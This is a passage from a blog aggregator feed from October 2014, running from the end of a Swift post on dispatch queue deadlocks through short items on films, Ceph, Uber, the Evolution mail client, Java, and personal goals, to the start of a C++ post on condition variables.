            &lt;span class="nf"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Enter task: 1"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="nf"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Exit task: 1"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="nf"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Exit task: 0"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;



&lt;span class="kt"&gt;SimpleDeadlock&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Output&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;Enter task: 0
Enter task: 1
Exit task: 1
Exit task: 0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The reason why this works is that a concurrent queue is allowed to work
on more than one submitted task at a time. So, first task 0 is
submitted. Task 0 then submits task 1 and demands it to be executed
synchronously or in other words to be finished before finishing task 0.
Since this is a concurrent queue, it’s distributes its time over all the
queued tasks.&lt;/p&gt;

&lt;p&gt;In terms of our mother-daughter-and-the-saloon example above. Lets say
the saloon has a big clock that ticks every 1 minute. For that 1 minute
they focus on a single client and then at the next tick they switch to
another client, irrespective of what state the client is in.&lt;/p&gt;

&lt;p&gt;So at first tick they focus on the mother, the mother just sits there
not allowing them to even touch her hairs before her daughter is done.
At next tick, they switch to the daughter and start serving her. This
repeats until the daughter is fully done, then the mother allows them to
work on her hairs.&lt;/p&gt;

&lt;p&gt;This works, but it has a problem. Remember, we wanted the task 0 to be
fully completed before task 1. That’s probably why we thought of using
serial queues and synchronous tasks. This solution actually breaks it.
What we actually need is a serial queue with tasks asynchronously
submitted.&lt;/p&gt;

&lt;div class="language-swift highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;queue&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;dispatch_queue_t&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;dispatch_queue_create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"deadlockQueue"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="kt"&gt;SimpleDeadlock&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;dispatch_async&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;queue&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nf"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Enter task: 0"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;dispatch_async&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;queue&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="nf"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Enter task: 1"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="nf"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Exit task: 1"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="nf"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Exit task: 0"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;XCPSetExecutionShouldContinueIndefinitely&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;continueIndefinitely&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="kt"&gt;SimpleDeadlock&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Output:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;Enter task: 0
Exit task: 0
Enter task: 1
Exit task: 1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This solution submits task 1 after task 0 to a serial queue. Since, this
is a serial queue, the task ordering is preserved. Also, since tasks do
not depend on each other, we never see any deadlocks.&lt;/p&gt;

&lt;p&gt;The lesson here is to use &lt;code class="language-plaintext highlighter-rouge"&gt;dispatch_sync&lt;/code&gt; very carefully. Remember
deadlocks are always design errors.&lt;/p&gt;

&lt;p&gt;The code for todays experiment is available at
&lt;a href="https://github.com/chunkyguy/ConcurrencyExperiments/tree/master/105_Deadlocks"&gt;github.com/chunkyguy/ConcurrencyExperiments&lt;/a&gt;.
Check it out and have fun experimenting on your own.&lt;/p&gt;</description><author>Whacky Labs</author><pubDate>Mon, 27 Oct 2014 02:24:54 GMT</pubDate><guid isPermaLink="true">https://whackylabs.com/concurrency/2014/10/27/concurrency-deadlocks/</guid></item><item><title>Sex Tape</title><link>https://olshansky.info/movie/sex_tape/</link><description>Olshansky's review of Sex Tape</description><author>🦉 olshansky 🦁</author><pubDate>Sun, 26 Oct 2014 18:21:46 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/sex_tape/</guid></item><item><title>ZLog: a distributed shared-log on Ceph</title><link>https://makedist.com/posts/2014/10/26/zlog-a-distributed-shared-log-on-ceph/</link><description>Building the CORFU distributed shared-log protocol on top of Ceph.</description><author>Noah Watkins</author><pubDate>Sun, 26 Oct 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://makedist.com/posts/2014/10/26/zlog-a-distributed-shared-log-on-ceph/</guid></item><item><title>I don't get Uber labeling, or Uber drivers expectations</title><link>https://stop.zona-m.net/2014/10/i-don-t-get-uber-labeling-or-uber-drivers-expectations/</link><description>&lt;p&gt;I must be missing something. Seriously. Please explain it to me. First, I don&amp;rsquo;t get how Uber is still called or classified, or more exactly why so many people seem to continue to let Uber or anybody else get away with it. Second, I don&amp;rsquo;t get titles and posters like these about &amp;ldquo;Uber strikes&amp;rdquo; or &amp;ldquo;Uber unfairness&amp;rdquo;.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sat, 25 Oct 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2014/10/i-don-t-get-uber-labeling-or-uber-drivers-expectations/</guid></item><item><title>Birdman or (The Unexpected Virtue of Ignorance)</title><link>https://olshansky.info/movie/birdman_or_the_unexpected_virtue_of_ignorance/</link><description>Olshansky's review of Birdman or (The Unexpected Virtue of Ignorance)</description><author>🦉 olshansky 🦁</author><pubDate>Fri, 24 Oct 2014 05:02:02 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/birdman_or_the_unexpected_virtue_of_ignorance/</guid></item><item><title>Linda Liukas: Author of Hello Ruby, Rails Girls Founder</title><link>https://solomon.io/linda-liukas-author-of-hello-ruby-rails-girls-founder/</link><description>How can we encourage children to code? Linda Liukas is the author and illustrator of Hello Ruby, a children’s book about the whimsical world of computers…</description><author>Sam Solomon</author><pubDate>Fri, 24 Oct 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/linda-liukas-author-of-hello-ruby-rails-girls-founder/</guid></item><item><title>Avengers: Age of Ultron</title><link>https://olshansky.info/movie/avengers_age_of_ultron/</link><description>Olshansky's review of Avengers: Age of Ultron</description><author>🦉 olshansky 🦁</author><pubDate>Thu, 23 Oct 2014 05:20:40 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/avengers_age_of_ultron/</guid></item><item><title>Testing Evolution's git master and GNOME continuous</title><link>https://purpleidea.com/blog/2014/10/22/testing-evolutions-git-master-and-gnome-continuous/</link><description>&lt;p&gt;I&amp;rsquo;ve wanted a feature in &lt;a href="https://wiki.gnome.org/Apps/Evolution/"&gt;Evolution&lt;/a&gt; for a while. It was &lt;a href="https://bugzilla.gnome.org/show_bug.cgi?id=223621"&gt;formally requested in 2002&lt;/a&gt;, and it just recently &lt;a href="https://git.gnome.org/browse/evolution/commit/?id=f6c0c8226ef8895f15c0221c94869ac5c663694f"&gt;got fixed in git master&lt;/a&gt;. I only started &lt;a href="https://bugzilla.gnome.org/show_bug.cgi?id=223621#c9"&gt;publicly groaning about this missing feature in 2013&lt;/a&gt;, and mcrha finally patched it. I tested the feature and found a small bug, &lt;a href="https://git.gnome.org/browse/evolution/commit/?id=ba3c08c7108519658b1d46a49ea3b2a834bc8e79"&gt;mcrha patched that too&lt;/a&gt;, and I finally re-tested it. Now I&amp;rsquo;m blogging about this process so that you can get involved too!&lt;/p&gt;
&lt;p&gt;&lt;span style="text-decoration: underline;"&gt;Why Evolution&lt;/span&gt;?&lt;/p&gt;
&lt;ul&gt;
	&lt;li&gt;Evolution supports GPG (&lt;a href="https://bugzilla.gnome.org/show_bug.cgi?id=713403"&gt;Geary doesn't&lt;/a&gt;, Gmail doesn't)&lt;/li&gt;
	&lt;li&gt;Evolution has a beautiful composer (Gmail's sucks, just try to reply inline)&lt;/li&gt;
	&lt;li&gt;Evolution is &lt;a href="https://www.gnu.org/philosophy/free-sw.html"&gt;Open Source&lt;/a&gt; and &lt;a href="https://www.gnu.org/philosophy/why-free.html"&gt;Free Software&lt;/a&gt; (Gmail is proprietary)&lt;/li&gt;
	&lt;li&gt;Evolution integrates with GNOME (Gmail doesn't)&lt;/li&gt;
	&lt;li&gt;Evolution has lots of fancy, mature features (Geary doesn't)&lt;/li&gt;
	&lt;li&gt;Evolution cares about your privacy (&lt;a href="https://en.wikipedia.org/wiki/Gmail#Criticism"&gt;Gmail doesn't&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;span style="text-decoration: underline;"&gt;The feature&lt;/span&gt;:
&lt;p&gt;I&amp;rsquo;d like to be able to select a bunch of messages and click an archive action to move them to a specific folder. &lt;a href="https://en.wikipedia.org/wiki/Gmail"&gt;Gmail popularized this idea in 2004&lt;/a&gt;, two years after it was proposed for Evolution. It has finally landed.&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Wed, 22 Oct 2014 20:22:56 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2014/10/22/testing-evolutions-git-master-and-gnome-continuous/</guid></item><item><title>From Node.js back to Java</title><link>https://danielpecos.com/2014/10/22/node-js-back-java/</link><description>&lt;p&gt;During last year, I had the chance to work as CTO of a startup, working mainly within MEAN stack. I was happy, the technology I was working with was in a great hype and its community grew bigger and bigger with lots of projects popping up everywhere.&lt;/p&gt;
&lt;img alt="Java vs Node.js" class="alignleft size-full" height="81" src="https://danielpecos.com/assets/2014/10/jjs.png" width="81" /&gt;
&lt;p&gt;But life is continuously changing, and I started to work in a new company within Java/JEE technologies. I was back to my first days as a professional computer engineer. Java ecosystem is huge, and there are some well established tools that you must control if you want to progress as Java developer. But Java -the language- is getting older, and newer languages are more expressive and require less boiler plate code (don&amp;rsquo;t get me wrong, JVM is a great platform, and probably the best one for enterprise applications). Even with the recent release of Java 8, which introduced Lambdas and some functional style capabilities, I still feel like writing too much, or at least much more than with other languages.&lt;/p&gt;
&lt;p&gt;You could ask yourself then why did I change?&lt;/p&gt;
&lt;p&gt;Not long ago JVM included some bytecode instructions that allowed scripting languages to be run within it. That turn the JVM into a polyglot ecosystem, with languages like Groovy, Scala or Clojure gaining traction, attracting more users into it and making its community more vibrant than ever.&lt;/p&gt;
&lt;p&gt;We&amp;rsquo;re living a Functional Renaissance, where OOP is not the only solution one would dare to apply any more. And probably its flagships are Scala and Clojure, both JVM based (whereas there are implementations of Scala for .NET platform, its origin and biggest user base is using JVM version).&lt;/p&gt;
&lt;p&gt;And this transformation happening within the JVM was the main reason I wanted to come back. It&amp;rsquo;s a perfect moment to be there and worth of losing daily touch with Node.js (at least in my job, because I still love this technology and its community). JVM is a great platform, has great tools, and now finally, has some great languages.&lt;/p&gt;</description><author>GeekWare - Daniel Pecos Martínez</author><pubDate>Wed, 22 Oct 2014 14:33:19 GMT</pubDate><guid isPermaLink="true">https://danielpecos.com/2014/10/22/node-js-back-java/</guid></item><item><title>Who We Are</title><link>http://vimeo.com/105686970</link><description>&lt;p&gt;An incredible video from a group of hunters who make no excuses for their chosen profession, but who also approach it with the extreme respect that nature deserves. I personally have never had a particularly strong desire to take up hunting, but hearing Donnie Vincent talk about nature with such reverence showed me a side of this lifestyle&amp;#160;&amp;#8212;&amp;#160;for to call it a &amp;#8220;sport&amp;#8221; would be to do the lifestyle Donnie and his companions devoted themselves a great disservice&amp;#160;&amp;#8212;&amp;#160;that I had previously never seen. There is now little doubt in my mind that there exists a more noble passion than this.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://vimeo.com/105686970"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 22 Oct 2014 12:03:00 GMT</pubDate><guid isPermaLink="true">http://vimeo.com/105686970</guid></item><item><title>Code is the Cure for Developaralysis</title><link>https://www.brightball.com/articles/code-is-the-cure-for-developaralysis</link><description>A couple of days ago, TechCrunch ran a column about Developaralysis that hit a little close to home. Developaralysis is defined as "the crippling sense that the software industry is evolving so fast that no one person can possibly keep up." This results in otherwise accomplished developers freezing up when trying to make decisions about the best language / framework / cloud platform to use for their project. There is a cure and it involves code. A code specifically.</description><author>Brightball Articles</author><pubDate>Wed, 22 Oct 2014 04:06:00 GMT</pubDate><guid isPermaLink="true">https://www.brightball.com/articles/code-is-the-cure-for-developaralysis</guid></item><item><title>OS X Yosemite: If This Doesn't Make You An Apple Guy, Nothing Will</title><link>http://www.instash.com/os-x-yosemite-if-this-doesnt-make-you-an-apple-guy-nothing-will</link><description>&lt;p&gt;I&amp;#8217;ve been moving further and further from the tech space lately, but this article still caught my eye from Aric Mitchell over at inStash. Here, Aric takes a short minute to chronicle his journey with Apple&amp;#8217;s products, and then talk about the experiential side of the company&amp;#8217;s latest desktop operating system, OS X Yosemite. This is by far and away the best piece of tech-focused writing I have read in quite some time.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.instash.com/os-x-yosemite-if-this-doesnt-make-you-an-apple-guy-nothing-will"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 21 Oct 2014 22:34:03 GMT</pubDate><guid isPermaLink="true">http://www.instash.com/os-x-yosemite-if-this-doesnt-make-you-an-apple-guy-nothing-will</guid></item><item><title>Big Hero 6</title><link>https://olshansky.info/movie/big_hero_6/</link><description>Olshansky's review of Big Hero 6</description><author>🦉 olshansky 🦁</author><pubDate>Tue, 21 Oct 2014 04:40:16 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/big_hero_6/</guid></item><item><title>A Small Goal is Better than a Grand Plan</title><link>https://josh.works/growth/2014/10/21/a-small-goal-is-better-than-a-grand-plan/</link><description>&lt;p&gt;We all have grand plans. Who’s future projection of themselves goes something like this: “One day, when I’m rich (goal one), location independent (goal two), and married to a fabulous woman (goal three), I will travel the world (goal four) while exploring my hobby of &lt;strong&gt;__&lt;/strong&gt;_ (goal five).”
Sounds nice, but this narrative assume so much, and is so ill-defined. With such a disconnect between 
here and 
there , why wouldn’t you just go play video games all evening. Again. We’ll work on that stuff later.&lt;/p&gt;

&lt;p&gt;I suspect many of us struggle with the above problem. Great big grand goals completely disconnected from reality. No clue where to begin, and it’s all daunting anyway. So lets go do something else.&lt;/p&gt;

&lt;p&gt;Over the last few years, I’ve grown less-bad at breaking big problems into little problems, and dealing with those small things. I’ve made progress towards some big life goals (I married a fabulous woman!) and have plenty of progress to make towards other goals. (I don’t yet own a jet/boat/villa.)
more&lt;/p&gt;

&lt;h3 id="motionis-easy-can-be-pointless"&gt;Motion is Easy, Can be Pointless&lt;/h3&gt;

&lt;p&gt;The last two years have been marked by completely disconnected, insignificant bits of progress towards over a dozen different goals. I’ve learned a little Excel, basic HTML and CSS, Python, Ruby, database management, SEO optimization, amateur-at-best handstands, a little bit of business consulting skills, public speaking skills, amateur-at-best running skills, intermediate-at-best Krav Maga skills, too many hours of Call of Duty, a bunch of books, a brief foray into meditation/mindfulness, “mental math”, learned a few chords on the Ukulele, spent far too many hours on Reddit, wrote (and than abandoned) a small book, filmed (but never edited) climbing instructional videos, own (and have ideas for) a half-dozen domains, read a few books on stock investing, then real estate investing, spent a ton of time on work-related side projects, and who knows what else.&lt;/p&gt;

&lt;p&gt;The above represents a tremendous amount of activity, but zero progress. I can carry on a half-intelligent conversation on a few different subjects, but in none of the above areas have I had a significant impact on anyone’s life, except for my own.&lt;/p&gt;

&lt;p&gt;There are two items on the list that belong in a category of their own. I’ve undertaken only two things with consistency and intentionality, and I (if no one else) have derived significant benefit from these things… and I just spent twenty minutes on Twitter. Where was I?&lt;/p&gt;

&lt;p&gt;Oh, right. Important things, consistency, impacting lives. Climbing and writing. Climbing is, well… it’s climbing. Writing does, occasionally, bring a clarity to my own thinking. I sincerely hope to be helpful/useful to others, but writing is without peer for solidifying my own thinking. So I write. About one in three times I hit the “publish” button.&lt;/p&gt;

&lt;p&gt;So what’s the solution? How does any of us resolve the tension between the 
what is and the 
what could be.&lt;/p&gt;

&lt;h3 id="think-of-the-slope-not-the-y-intercept"&gt;Think of the Slope, not the Y-Intercept&lt;/h3&gt;

&lt;p&gt;Stanford Professor John Ousterhout had a reputation for lectures categorized as “thoughts for the weekend”. One of his most memorable was titled 
&lt;a href="http://www.quora.com/What-are-the-most-profound-life-lessons-from-Stanford-Professor-John-Ousterhout"&gt;A little bit of slope makes up for a lot of y-intercept&lt;/a&gt;. Please, read his lecture. It’s very short. His summary paragraph:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;I often ask myself: have I learned one new thing today?  Now you guys are younger and, you know, your slope is a little bit higher than mine and so you can learn 2 or 3 or 4 new things a day.  But if you just think about your slope and don’t worry about where you start out you’ll end up some place nice.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This quote, this idea, is the resolution between what is and what can be. Try to learn two or three new things a day, and you’ll end up some place nice.*&lt;/p&gt;

&lt;p&gt;-Josh&lt;/p&gt;

&lt;p&gt;*The required qualifying statements is a whole other article.&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Tue, 21 Oct 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/growth/2014/10/21/a-small-goal-is-better-than-a-grand-plan/</guid></item><item><title>Open Source and Code Responsibility</title><link>https://nicolaiarocci.com/open-source-and-code-responsibility/</link><description>&lt;p&gt;Last week I was speaking at an Open Source panel at &lt;a href="http://www.bettersoftware.it"&gt;Better Software 2014&lt;/a&gt;, and one of the topics that we touched was code responsibility. This is an important topic for anyone who is maintaining an open source project, especially when it comes to the process of reviewing and accepting code contributions.&lt;/p&gt;
&lt;p&gt;At some point during the debate, I argued that when a maintainer merges a pull request, he (or she) implicitly agrees on being responsible for that code. That seemed to strike some surprise into most attendees.&lt;/p&gt;
&lt;p&gt;Yes, in theory any contributor is just a ping away so in case trouble arises one can always reach him, or her. Unfortunately this is not always the case. While some contributors will fully embrace your project and keep helping after their initial contribution, truth is that a good number of them will just move on, never to be seen again.&lt;/p&gt;
&lt;p&gt;There’s nothing wrong with that. Not everyone has spare time to devote to your project, which is perfectly fine. It is natural for most people to contribute what they need to a project and then go on their way. Actually, one could argue that most projects grow and prosper precisely thanks to this kind of contributions.&lt;/p&gt;
&lt;p&gt;However this attitude can become an incumbent when big chunks of code get merged, usually as new (big) features. Good practices advice against merging huge pull requests. In fact they are rare and when they do come, it is a good idea to ask for them to be split into smaller ones. But no matter the format, a huge contribution is likely to hit a project one day or another. It might even come from more than one person: a disconnected and distributed team of contributors who have been patiently tinkering on a side branch or a fork for example. When this happens, and provided that the contribution is worth merging, the maintainer should then ask him/herself the obvious question: &lt;em&gt;am I willing to deal with the consequences of this merge?&lt;/em&gt;&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Tue, 21 Oct 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/open-source-and-code-responsibility/</guid></item><item><title>Hiking, Beyond Earth, and Gastropoda update</title><link>https://liza.io/hiking-beyond-earth-and-gastropoda-update/</link><description>&lt;p&gt;One cool thing about Stockholm is how easy it is to get to both a central location &lt;em&gt;and&lt;/em&gt; a green/forested area.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Mon, 20 Oct 2014 22:08:26 GMT</pubDate><guid isPermaLink="true">https://liza.io/hiking-beyond-earth-and-gastropoda-update/</guid></item><item><title>The End of This Week in Podcasts</title><link>https://zacs.site/blog/the-end-of-this-week-in-podcasts.html</link><description>&lt;p&gt;For just shy of the past seven months, I have written weekly roundup posts talking about my favorite medium&amp;#160;&amp;#8212;&amp;#160;podcasts&amp;#160;&amp;#8212;&amp;#160;and the episodes I considered the best released during that time span. Although the number of shows in each issue varied from week to week, I like to think that the quality remained constant, along with my rate of publication: with the exception of a lengthy trip to Canada&amp;#8217;s backwoods, I have not missed a single week. It may come as a surprise, then, that today I have decided to end this series for the foreseeable future.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/the-end-of-this-week-in-podcasts.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Mon, 20 Oct 2014 20:55:07 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/the-end-of-this-week-in-podcasts.html</guid></item><item><title>Super Source</title><link>https://hth.is/2014/10/20/super-source/</link><description>A couple of days ago I read an interesting article by Pierre-Yves Ricau, an Android Software Engineer for Square, where he listed reasons for why Square has moved away from using Fragments in their Android products. In it he mentioned the ridiculous life cycle of Fragments, how it makes them at times hard to handle and even harder to test against. And I agree with him. Fragments are easy to use in smaller projects, but in my experience don&amp;rsquo;t scale linearly in difficulty as the project grows.</description><author>Hrafn Thorvaldsson</author><pubDate>Mon, 20 Oct 2014 20:33:52 GMT</pubDate><guid isPermaLink="true">https://hth.is/2014/10/20/super-source/</guid></item><item><title>Concurrency: Introducing Inter-Thread Communication</title><link>https://whackylabs.com/concurrency/2014/10/20/concurrency-introducing-inter-thread-communication/</link><description>&lt;p&gt;Picture the scenario: You’re on the phone with your friend, when
suddenly he say ‘Hey! Hold on. I think I’m getting another call’ and
before you can say anything, he puts you on hold. Now, you have no idea
whether to hang up, or wait. Your friend could be coming back in 3
seconds or 3 hours you’ve no idea. Wouldn’t it be great if your phone
service provided you a mechanism that whenever you’re put on hold, you
can freely disconnect and whenever your friend disconnects the other
call, you immediately get a ring. Let’s talk about managing
synchronization between threads.&lt;/p&gt;

&lt;p&gt;On a broader level the above is a &lt;a href="http://en.wikipedia.org/wiki/Semaphore_(disambiguation)"&gt;classical producer-consumer
problem&lt;/a&gt;. Both
consumer and producer are synchronized by a shared data. What we
actually need is a way to communicate between the producer and the
consumer. The producer needs to signal the consumer the data is ready
for consumption.&lt;/p&gt;

&lt;p&gt;So far in all our concurrency experiments whenever we’ve some shared
data, we explicitly block one or more threads while one thread gets to
play with the resource. The shared data here seems to be a boolean flag
of some sort. But we can do better with std::condition_variable&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;mutex&lt;/span&gt; &lt;span class="n"&gt;mutex&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;condition_variable&lt;/span&gt; &lt;span class="n"&gt;condition&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;StartConsumer&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;this_thread&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;get_id&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;" Consumer sleeping"&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;unique_lock&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;mutex&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;consumerLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mutex&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;condition&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;wait&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;consumerLock&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;consumerLock&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;unlock&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;this_thread&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;get_id&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;" Consumer working"&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;StartProducer&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;this_thread&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;get_id&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;" Producer working"&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

